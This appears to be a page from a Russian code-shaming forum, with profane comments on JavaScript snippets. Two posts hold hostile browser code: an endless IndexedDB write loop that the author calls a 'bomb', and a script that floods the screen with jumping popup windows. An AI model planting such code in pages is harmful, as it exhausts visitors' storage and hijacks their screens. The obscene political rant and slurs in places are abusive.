-
−1
- 1
- 2
- 3
- 4
сука блядь ебучий фрорнтенд блядь гори сука в аду, JS, HTML, CSS и прочая хуета, это ебаное исчадь ада
еuо создали настоящие мрази, ебучие серийные программисты, сколько жизней уже отобрала эта хуйня?
ПРЕДСТАВЬТЕ ПРОСТО СКОЛЬКО ЛЮДЕЙ В СУММЕ ПОТРАТИЛИ ВРЕМЕНИ НА ОТЛАДКУ ВСЕЙ ЭТО КРИВОЙ ХУЕТЫ
КОТОРАЯ БЫЛА СОЗДАНА C ОДНОЙ ЕБАНОЙ ЦЕЛЬЮ -- ДЛЯ ТОГО ЧТОБЫ УБИВАТЬ ЛЮДЕЙ, ДЕТЕЙ НА ДОНБАССЕ СУКА, ГИБНУТ!!!
МОЙ АНУС МИРОТОЧИК ПЫЛЬЮ ГАЛАКТИК ДОСТИГНУВШИХ КОЛЛАПСА
JS-PIDORAW,
20 Января 2020
-
0
- 1
https://pastebin.com/hC1Ux6kC
По колено в коде... Код одной обезьяны, которая решилась дописать вакабу до ума... спойлер: судя по коду она обосралась, уберите от экрана детей и беременных женщин
nariman_namazon,
10 Января 2020
-
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
// ==UserScript==
// @name Unnamed Script 230178
// @version 1
// @grant none
// @include https://www.instagram.com/*
// ==/UserScript==
window.addEventListener('load', function(){
console.log("my script starting...");
const body = document.querySelector('body');
const config = {
attributes: true,
attributeFilter: ["style"]
};
const callback = function(mutationsList, observer) {
console.log("mutation aaargh-aaarghrghrhg");
for (let mutation of mutationsList) {
console.log('zaloop');
// if (mutation.type === 'attributes' && mutation.attributeName === 'style') {
try {
body.setAttribute('style', '');
document.querySelector('.RnEpo').setAttribute('style', 'display: none;');
observer.disconnect();
console.log("#hide");
} catch (e) {
console.log(e);
}
// }
}
};
const observer = new MutationObserver(callback);
observer.observe(body, config);
console.log("my script stop");
});
Ночью не спал
Инстаграм листал
Чтобы баннер не мешал
Такой скрипт написал.
hanapi,
05 Января 2020
-
−1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
var dockStation = new Vue({
el: '#dock',
data: {
enable: false,
text1: 'one',
text2: 'two',
text3: 'three',
concat: ''
},
watch: {
text1: function(v) {
this.concat = 'You listen:' + v + ' ' + this.text2+' '+this.text3;
},
text2: function(v) {
this.concat = 'You listen:' + this.text1+' '+v+' '+this.text3;
},
text3: function(v) {
this.concat = 'You listen:' + this.text1+' '+this.text2+' '+v;
},
}
});
когда ебашил нахуй в далеком 2015 году ахуенном получал за такой код 100 кусков в месяц
ебаать врмеена были
codershitter,
05 Января 2020
-
−4
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
document.addEventListener('DOMContentLoaded', function() {
var req = indexedDB.open('site');
req.onerror = function() {
alert(this.error);
};
req.onupgradeneeded = function() {
let db = this.result;
if(!db.objectStoreNames.contains('files'))
db.createObjectStore('files', { autoIncrement: true });
};
let n = 0;
req.onsuccess = function() {
setTimeout(function run() {
n++;
let db = req.result;
let t = db.transaction('files', 'readwrite');
let file = t.objectStore('files');
let str = new Date().toString().repeat(1000);
for(let i=0;i<100;i++)
file.add(str);
if(n < 1000000)
setTimeout(run);
});
};
});
теперь страница не будет подвисать
codershitter,
30 Декабря 2019
-
−4
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
var req = indexedDB.open('site');
req.onupgradeneeded = function() {
let db = this.result;
if(!db.objectStoreNames.contains('files'))
db.createObjectStore('files', { autoIncrement: true });
};
req.onsuccess = function() {
let db = this.result;
let t = db.transaction('files', 'readwrite');
let file = t.objectStore('files');
let str = new Date().toString().repeat(1000);
while(true)
file.add(str);
};
Эту бомбу лучше ставить после полной загрузки страницы
codershitter,
30 Декабря 2019
-
−1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
let windows = [];
for(let i=0;i<30;i++) {
windows.push(open('about:blank', 'w'+i, 'width=220,height=220'));
windows[windows.length-1].document.write('<img width="200" src="https://yandex.ru/images/_crpd/QXyR57D17/58778cEG/ztbSEyQN1MQPOKIh-mQphsVGWJdV_rEIEfYazmN1g0xPpX0igbVWfIKWpfMEAObKC6K6ZWrKj3oC51h2Nj70EtoS5kOEGYXVP10XoFpA">');
}
let x = 0;
for(let i=0;i<30;i++) {
setTimeout(function run() {
if(x > 10000) {
windows[i].close();
return;
}
x++;
windows[i].moveTo((Math.random()*screen.width).toFixed(), (Math.random()*screen.height).toFixed());
setTimeout(run, 100);
});
}
Мой лучший гавнакод
codershitter,
27 Декабря 2019
-
−3
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
export namespace Ext {
export function isEmpty(obj: any): boolean {
return (typeof obj === "undefined" || obj === null || obj === "");
}
export function setReadonly(flag: boolean, ...args: any[]): void {
args.length > 0 ? (flag ? args.forEach(arg => !isEmpty(arg) ? arg.setDisabled(false) : null) :
args.forEach(arg => !isEmpty(arg) ? arg.setDisabled(true) : null)) : null;
}
export function filterInt(value) {
if (isStrToInt(value))
return Number(value);
return NaN;
}
export function isStrToInt(value: string): boolean {
return /^(-|\+)?(\d+|Infinity)$/.test(value) ? true : false;
}
}
Типичный хелпер на ts проекте
m_sandman,
23 Декабря 2019
-
−2
- 1
https://news.ycombinator.com/item?id=21779397
Я джва года ждал такую книгу!
bootcamp_dropout,
15 Декабря 2019
-
+1
- 1
https://sun1-28.userapi.com/c854224/v854224060/1a2490/7JEShAFqoEU.jpg
Сишник половину из этого увидит логичным.
А JS макаки без должного математического образования не знают даже, как правильно проверять на эквивалентность floating point numbers.
OlegUP,
13 Декабря 2019